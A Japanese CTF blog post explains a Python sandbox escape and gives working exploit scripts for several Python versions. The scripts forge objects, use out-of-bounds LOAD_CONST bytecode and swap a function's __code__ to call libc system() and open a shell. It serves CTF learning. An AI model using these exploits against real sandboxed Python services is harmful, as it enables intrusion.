# pythonの関数オブジェクトをいじる話
###### tags: `python` `ctf` `pwn` `sandbox`
# 概要
この記事は,[CTF Advent Calendar 2019](https://adventar.org/calendars/4241) の5日目の記事です.
4日目は私の「[Google CTF 2019 Finals - sbox Write-up](https://hackmd.io/@bata24/SJEDPh-pr)」でした.
# はじめに
今回は,過去いくつかの大会で出題された,pythonのサンドボックス問を取り上げます.
但し特定の問題を対象にするのではなく,技術的側面だけをご紹介しようと思います.
どうしても何かの問題と絡めたい,という方は,`Plaid CTF 2014 - __nightmares__`,`0CTF 2017 Final - Python`あたりが相性良いはずです.
# pythonのサンドボックス問について
CTFでは,python2系,3系を用いた,サンドボックス問が出ることがあります.
- importができないよう制限
- モジュールやオブジェクトが全てdeleteされる
といった状況でシェルを開けるか,もしくはフラグを読めるかという問題です.
解法は,
- `().__class__.__bases__[0].__subclasses__()[-30]('key').read()`のようにグローバルに使えるクラスからリフレクションを用いて`open()`/`read()`もしくは`system()`を探す
- `/proc/self/mem`を開いて目的の箇所まで`seek()`し,メモリを差し替える(GOTやコード自身など)
といった方法が知られていますが,もう一つあります.それが,関数オブジェクトを直接書き換える方法です.
# 関数オブジェクトの書き換え
最初にコードをお見せしたほうがわかりやすいと思うので,貼ります.
以下のコードは,最初に3つimportをしていますが,いずれも削除可能です.
- `opcode`は,pythonのVMのバイトコードをわかりやすくするためのものなので,固定値で置換すれば削除可能です.
- `sys`はpython2系か3系かを判定するためだけですから,本質的には削除可能です.
- `struct`は単にpack用途なので,for文とchrもしくはbytesを用いて代替することで削除可能です.
{%gist bata24/f1a779a0534b0f0ac87cd40e4265153e %}
執筆当時のUbuntu18.04(3.6.9)向けにアドレスはチューニングしてありますが,実行するとシェルが立ち上がります.
(追記)
尚python3系に関して,執筆当時の環境はpython3.6.9ですが,python3.8系からcodeオブジェクトのコンストラクタの引数が一つ追加され,`posonlyargcount`が増えています.このためpython3.8系以降で試す場合は,`CodeType()`に渡す引数の数を修正してください(引数で0が5個並ぶところを6個に増やす).
https://docs.python.org/ja/3.8/c-api/code.html
3.11ではまた引数が増えています.末尾の補足2を参照してください.
# PythonのVMについて
Pythonは,内部的に独自のVMバイトコードを解釈しながら動作しています.
https://docs.python.org/ja/3/library/dis.html
そしてVMのバイトコードでは,`CALL_FUNCTION`命令が来ると,最終的に`_PyObject_Call()`が呼ばれ,以下のように関数ポインタが呼ばれます.
![](https://i.imgur.com/BvjCzRl.png)
https://github.com/python/cpython/blob/master/Objects/call.c#L266
この関数ポインタは,pythonのVMのスタックに置かれたオブジェクトを辿って参照されるため,pythonのVMのスタックにおかれたオブジェクトを偽造すれば,制御を奪えることになります.
# VMのスタックに積む
PythonのVMではスタックにオブジェクトを積む方法がいくつかあります.例えば変数を積むには`LOAD_GLOBAL`や`LOAD_FAST`,固定値を積むのは`LOAD_CONST`です.
正確にはオブジェクトそのものを積むのではなく,`Names`配列,`Variable Names`配列,`Constants`配列に存在するオブジェクトのオフセットを積むことで対応しています.
以下を見てください.固定値`"hello world"`を積むには,Constantsの2番目を指定していることが分かります.
```shell=
root@Ubuntu1804-64:/tmp# cat test.py
import dis
b = 10
def f():
a = 3
print(a)
print(b)
print("hello world")
dis.dis(f)
dis.show_code(f)
root@Ubuntu1804-64:/tmp# python3 test.py
5 0 LOAD_CONST 1 (3)
2 STORE_FAST 0 (a)
6 4 LOAD_GLOBAL 0 (print)
6 LOAD_FAST 0 (a)
8 CALL_FUNCTION 1
10 POP_TOP
7 12 LOAD_GLOBAL 0 (print)
14 LOAD_GLOBAL 1 (b)
16 CALL_FUNCTION 1
18 POP_TOP
8 20 LOAD_GLOBAL 0 (print)
22 LOAD_CONST 2 ('hello world')
24 CALL_FUNCTION 1
26 POP_TOP
28 LOAD_CONST 0 (None)
30 RETURN_VALUE
Name: f
Filename: test.py
Argument count: 0
Kw-only arguments: 0
Number of locals: 1
Stack size: 2
Flags: OPTIMIZED, NEWLOCALS, NOFREE
Constants: // 固定値の配列
0: None
1: 3
2: 'hello world'
Names: // グローバル変数の配列
0: print
1: b
Variable names: // ローカル変数の配列
0: a
root@Ubuntu1804-64:/tmp#
```
実際のメモリ内においては,これらはオブジェクトのアドレスだけが入った配列です.つまり64bit環境では,1要素が8バイトとなります.
言語仕様的にどうかと思うのですが,実はこれら配列に対する境界値チェックはありません(少なくとも3.6.9の時点では).このため,配列を超えた位置を指すことが可能です.例えば`LOAD_CONST 100`というVMのバイトコードを仕込むことができたとしましょう.この時実際には存在しない`Constants[100]`にオブジェクトのアドレスがあるものと思いこんで参照する,ということです.
# オブジェクトの偽造
もしヒープ上に,偽造した呼び出し可能オブジェクトを配置しておいて,`LOAD_CONST <偽造オブジェクトまでのオフセット>`とすればどうでしょうか.実際これは指定することができて,偽造オブジェクトを参照して`callable->ob_type->tp_call`が呼ばれます.
では,ヒープ中に`callable`を偽造しましょう.辿られるのは以下のメンバであるため,これさえ正しければ大丈夫です.
![](https://i.imgur.com/yBob3tI.png)
まず`callable`は`PyObject`です(`_PyObject_Call()`の引数の型からわかる).`_PyObject_HEAD_EXTRA`は`#define`で消されるので無視しましょう.
![](https://i.imgur.com/NwxHNbm.png)
https://github.com/python/cpython/blob/master/Include/object.h#L104
`ob_type`は`struct _typeobject*`型ですが,これは`cpython/object.h`にあります.
![](https://i.imgur.com/F0A3dud.png)
https://github.com/python/cpython/blob/master/Include/object.h#L175
`tp_call`は以下の箇所にあります.オフセットはpython3だと`128`でした.
![](https://i.imgur.com/eh9DbR7.png)
https://github.com/python/cpython/blob/master/Include/cpython/object.h#L201
ということで,偽造は以下でできるはずです.尚`0x20`を足しているのは,`get_addr()`内でオブジェクトのアドレスを求めるために用いている`id()`が,オブジェクト先頭より`0x20`だけ若いアドレスを返すからです(余計なヘッダがくっついている?).ついでに,Constants配列からのオフセットも計算しておきましょう.
```python=
# 呼び出し対象のアドレスを仕込んだ,偽造オブジェクトを生成
fake_data = b'A' * 128 + pQ(libc_system) # _typeobject
fake_object = b"1; sh;# " + pQ(get_addr(fake_data) + 0x20) # PyObject
ptr_fake_object = b"AAAAAAAA" + pQ(get_addr(fake_object) + 0x20) # PyObjectのポインタ
# const_tuple~偽造オブジェクト間のオフセットを計算
offset = get_addr(ptr_fake_object) - get_addr(const_tuple) + 0x10
offset = int(offset / 8) % (1<<32)
```
尚,python2だとオフセット等が色々異なるものの,多少の修正で同じことができます.
# VMコードの偽造
VMコードでは,`LOAD_CONST <offset>`で呼び出し可能オブジェクトをスタックに積んだら,その後`CALL_FUNCTION`を呼べばOKです.
但しPython3では全てのVM命令が2バイトの固定長になっています.つまり`LOAD_CONST`の命令自体で1バイト使っているため,オペランドは1バイトとなり,大きな値をPUSHすることはできません.これを解決するのが`EXTENDED_ARG`です.
![](https://i.imgur.com/jZdfJCV.png)
https://github.com/python/cpython/blob/master/Python/ceval.c#L3522
3回使えば大きな値を作り出すことができます.
```python=
# オフセットの呼び出しを行うバイトコードを生成
bytecode = bytes([
opcode.opmap['EXTENDED_ARG'], (offset >> 24) & 0xff,
opcode.opmap['EXTENDED_ARG'], (offset >> 16) & 0xff,
opcode.opmap['EXTENDED_ARG'], (offset >> 8) & 0xff,
opcode.opmap['LOAD_CONST'], (offset >> 0) & 0xff,
opcode.opmap['CALL_FUNCTION'], 0,
])
```
尚,python2ではVM命令が可変長で,`LOAD_CONST`のオペランドは2バイトなので,一度に0xffffまで指定できます.従ってもう少し短くできます.
# Exploit
後は最初に書いたexploitを最適化し,いらないコードを削りましょう.
`import`や依存関係が一切不要な状態で,シェルが立ち上がります.
```shell=
root@Ubuntu1804-64:/tmp# cat test.py
p=lambda x:bytes((x>>(i*8))&255 for i in range(8))
a=b"A"*128+p(id("")-0x580670)
b=b"sh; "*2+p(id(a)+32)
c=b"A"*8+p(id(b)+32)
d=()
o=(id(c)-id(d)+16)//8
f=bytes([144,(o>>24)&255,144,(o>>16)&255,144,(o>>8)&255,100,o&255,131])
p.__code__=p.__code__.__class__(0,0,0,0,0,f,d,d,d,"","",0,a)
p()
root@Ubuntu1804-64:/tmp# python3 test.py
sh: 1: 3: not found
# id
uid=0(root) gid=0(root) groups=0(root)
#
Segmentation fault (core dumped)
root@Ubuntu1804-64:/tmp#
```
# 追記
多少コードは違いますが,Ubuntu22.04 / python3.10でも動作します。
```python=
# -*- coding: utf-8 -*-
import opcode, struct, sys, subprocess
def pQ(a): return struct.pack("<Q",a&0xffffffffffffffff)
def pH(a): return struct.pack("<H",a&0xffff)
#################################################################
# オブジェクトのアドレスを取得する(heapではなく,mmapされた独自のアドレスから確保されている模様)
def get_addr(x):
#return id(x)
return int(str(x.__eq__).split()[-1][:-1], 16) # id()が潰されている場合の抜け道
#################################################################
# チート関数。最終的には固定値に置換する
def get_system_offset():
out = subprocess.getoutput("nm -D /usr/lib/x86_64-linux-gnu/libc.so.6 |grep __libc_system")
ofs_system = int(out.split()[0], 16)
print("offset of system:", hex(ofs_system))
return ofs_system
def get_object_offset():
lines = open("/proc/self/maps").read().splitlines()
libc_areas = [x for x in lines if "libc.so.6" in x]
libc_base = int(libc_areas[0].split("-")[0], 16)
leak = get_addr("")
ofs_obj = libc_base - leak
print("offset of object:", hex(ofs_obj))
return ofs_obj
#################################################################
# system関数のアドレスを取得する
def get_system():
ofs_system = get_system_offset()
ofs_obj = get_object_offset()
leak = get_addr("")
libc_base = leak + ofs_obj
libc_system = libc_base + ofs_system
print("leak:", hex(leak))
print("libc_base:", hex(libc_base))
print("libc_system:", hex(libc_system))
return libc_system
def call_system_python3():
# 利用する定数など
exploit = lambda x:x
CodeType = (lambda x:x).__code__.__class__
const_tuple = ()
libc_system = get_system()
# 呼び出し対象のアドレスを仕込んだ,偽造オブジェクトを生成
fake_data = b'A' * 128 + pQ(libc_system)
fake_object = b"1; sh;# " + pQ(get_addr(fake_data) + 0x20)
ptr_fake_object = b"AAAAAAAA" + pQ(get_addr(fake_object) + 0x20)
# const_tuple~偽造オブジェクト間のオフセットを計算
offset = get_addr(ptr_fake_object) - get_addr(const_tuple) + 0x10
offset = int(offset / 8) % (1<<32)
# オフセットの呼び出しを行うバイトコードを生成
bytecode = bytes([
opcode.opmap['EXTENDED_ARG'], (offset >> 24) & 0xff,
opcode.opmap['EXTENDED_ARG'], (offset >> 16) & 0xff,
opcode.opmap['EXTENDED_ARG'], (offset >> 8) & 0xff,
opcode.opmap['LOAD_CONST'], (offset >> 0) & 0xff,
opcode.opmap['CALL_FUNCTION'], 0,
])
exp = CodeType(0,0,0,0,0,0,bytecode,const_tuple,(),(),"","",0,b"",(),()) # python3
exploit.__code__ = exp # 関数オブジェクトを置換
exploit()
if __name__ == '__main__':
call_system_python3()
```
```shell=
root@Ubuntu2204:/tmp# py test.py
offset of system: 0x50d60
offset of object: 0x770fd0
leak: 0x7f164f188030
libc_base: 0x7f164f8f9000
libc_system: 0x7f164f949d60
sh: 1: 2: not found
# id
uid=0(root) gid=0(root) groups=0(root)
# python -V
Python 3.10.4
#
```
# 追記2
Ubuntu 23.10のpython3.11で動作するバージョンです.
※24.04のpython3.12でも動くことを確認しました.
以下の点で改造が必要です.
- `""`がmmapedヒープから確保されなくなった
- `"AAA"`のような文字列だとmmapedヒープから確保されるが,まだランダム性は高い
- `__builtins__`はランダム性が少ない
- 30%くらいでうまくいくオフセットがあるので,それを使う
- `const_tuple = ()`がmmapedヒープから確保されなくなった
- `const_tuple = (0,)`ならOK
- `tp_flags`がチェックされる
- 0xffだとダメ.0x0にしておけばOKっぽい
- `CALL_FUNCTION`がなくなり,`CALL`を使う必要がある
- ```
3.10
opcode.opmap['EXTENDED_ARG'], (offset >> 24) & 0xff,
opcode.opmap['EXTENDED_ARG'], (offset >> 16) & 0xff,
opcode.opmap['EXTENDED_ARG'], (offset >> 8) & 0xff,
opcode.opmap['LOAD_CONST'], (offset >> 0) & 0xff,
opcode.opmap['CALL_FUNCTION'], 0,
3.11
opcode.opmap['LOAD_CONST'], 0, # named arguments
opcode.opmap['LOAD_CONST'], 0, # positional arguments
opcode.opmap['EXTENDED_ARG'], (offset >> 24) & 0xff,
opcode.opmap['EXTENDED_ARG'], (offset >> 16) & 0xff,
opcode.opmap['EXTENDED_ARG'], (offset >> 8) & 0xff,
opcode.opmap['LOAD_CONST'], (offset >> 0) & 0xff, # Callable
opcode.opmap['LOAD_CONST'], 0, # NULL
opcode.opmap['CALL'], 0,
```
- コードオブジェクトの初期化に必要な引数が増えた
- ```
3.10
>>> help(type((lambda:0).__code__))
class code(object)
code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize, flags, codestring, constants, names, varnames, filename, name, firstlineno, linetable, freevars=(), cellvars=(), /)
3.11
>>> help(type((lambda:0).__code__))
class code(object)
code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize, flags, codestring, constants, names, varnames, filename, name, qualname, firstlineno, linetable, exceptiontable, freevars=(), cellvars=(), /)
```
```python=
# -*- coding: utf-8 -*-
#################################################################
# cheat function. These functions should be replaced with functions that return constants.
def get_system_offset():
import subprocess
out = subprocess.getoutput("nm -D /usr/lib/x86_64-linux-gnu/libc.so.6 |grep __libc_system")
ofs_system = int(out.split()[0], 16)
print("offset of system:", hex(ofs_system))
return ofs_system
def get_object_offset():
lines = open("/proc/self/maps").read().splitlines()
libc_areas = [x for x in lines if "libc.so.6" in x]
libc_base = int(libc_areas[0].split("-")[0], 16)
leak = get_addr(__builtins__)
ofs_obj = libc_base - leak
print("offset of object:", hex(ofs_obj))
if ofs_obj < 0:
print("Please try again as the offset is not reproducible.")
exit()
return ofs_obj
#################################################################
# obtain the address of specified object.
# this is allocated from mmaped heap, so we can use offset2lib.
def get_addr(x):
return id(x)
#return int(str(x.__eq__).split()[-1][:-1], 16) # alternative techniques for cases where id() cannot be used
# calc the offset of system() from cheat function or constant values.
def get_system():
ofs_system = get_system_offset()
#ofs_system = 0x55230
ofs_obj = get_object_offset()
#ofs_obj = 0x77520
leak = get_addr(__builtins__)
libc_base = leak + ofs_obj
libc_system = libc_base + ofs_system
print("leak:", hex(leak))
print("libc_base:", hex(libc_base))
print("libc_system:", hex(libc_system))
return libc_system
def call_system_python311():
pQ = lambda x: bytes( (x>>(i*8))&255 for i in range(8) )
pH = lambda x: bytes( (x>>(i*8))&255 for i in range(2) )
# constant, etc.
exploit = lambda x:x
CodeType = (lambda x:x).__code__.__class__
const_tuple = (0, )
print("const_tuple:", hex(get_addr(const_tuple)))
libc_system = get_system()
# create fake object which includes system() address
fake_data = b'A' * 128
fake_data += pQ(libc_system) # tp_call
fake_data += b"A" * 0x20
fake_data += pQ(0) # tp_flags
print("fake_data:", hex(get_addr(fake_data)))
fake_object = b"1; sh;# " + pQ(get_addr(fake_data) + 0x20)
print("fake_object:", hex(get_addr(fake_object)))
ptr_fake_object = b"AAAAAAAA" + pQ(get_addr(fake_object) + 0x20)
print("ptr_fake_object:", hex(get_addr(ptr_fake_object)))
# calc the offset from const_tuple to fake object
offset = get_addr(ptr_fake_object) - get_addr(const_tuple) + 0x10
offset = int(offset / 8) % (1<<32)
print("offset:", hex(offset))
# create byte code
bytecode = bytes([
100, 0,
100, 0,
144, (offset >> 24) & 0xff,
144, (offset >> 16) & 0xff,
144, (offset >> 8) & 0xff,
100, (offset >> 0) & 0xff,
100, 0,
171, 0,
])
# replace function object
exploit.__code__ = CodeType(
0, # 1.argcount
0, # 2.posonlyargcount
0, # 3.kwonlyargcount
0, # 4.nlocals
0, # 5.stacksize
0, # 6.flags
bytecode, # 7.codestring
const_tuple, # 8.constants
(), # 9.names
(), # 10.varnames
"", # 11.filename
"", # 12.name
"", # 13.qualname
0, # 14.firstlineno
b"", # 15.linetable
b"", # 16.exceptiontable
(), # 17.freevars
(), # 18.cellvars
) # python3.11
# trigger
exploit()
if __name__ == '__main__':
call_system_python311()
```
```shell=
root@Ubuntu2310:~# py test.py
const_tuple: 0x7f327afa9510
offset of system: 0x55230
offset of object: 0x77520
leak: 0x7f327bf88ae0
libc_base: 0x7f327c000000
libc_system: 0x7f327c055230
fake_data: 0x7f327af73590
fake_object: 0x7f327bfc98f0
ptr_fake_object: 0x7f327afdba70
offset: 0x64ae
sh: 1: 2: not found
#
```
# 終わりに
実は,過去問として,python2ではこの方法を以前やったことが有りました.
しかしpython3でもできるか?という疑問が生じたので,確認してみた次第です.結果はご覧の通り,できるということになりました.
皆さんもぜひpythonをハックしてみましょう.
明日はhakatashiの[CTFZone 非Writeup](https://hackmd.io/@hakatashi/SJnvjTQUH)です.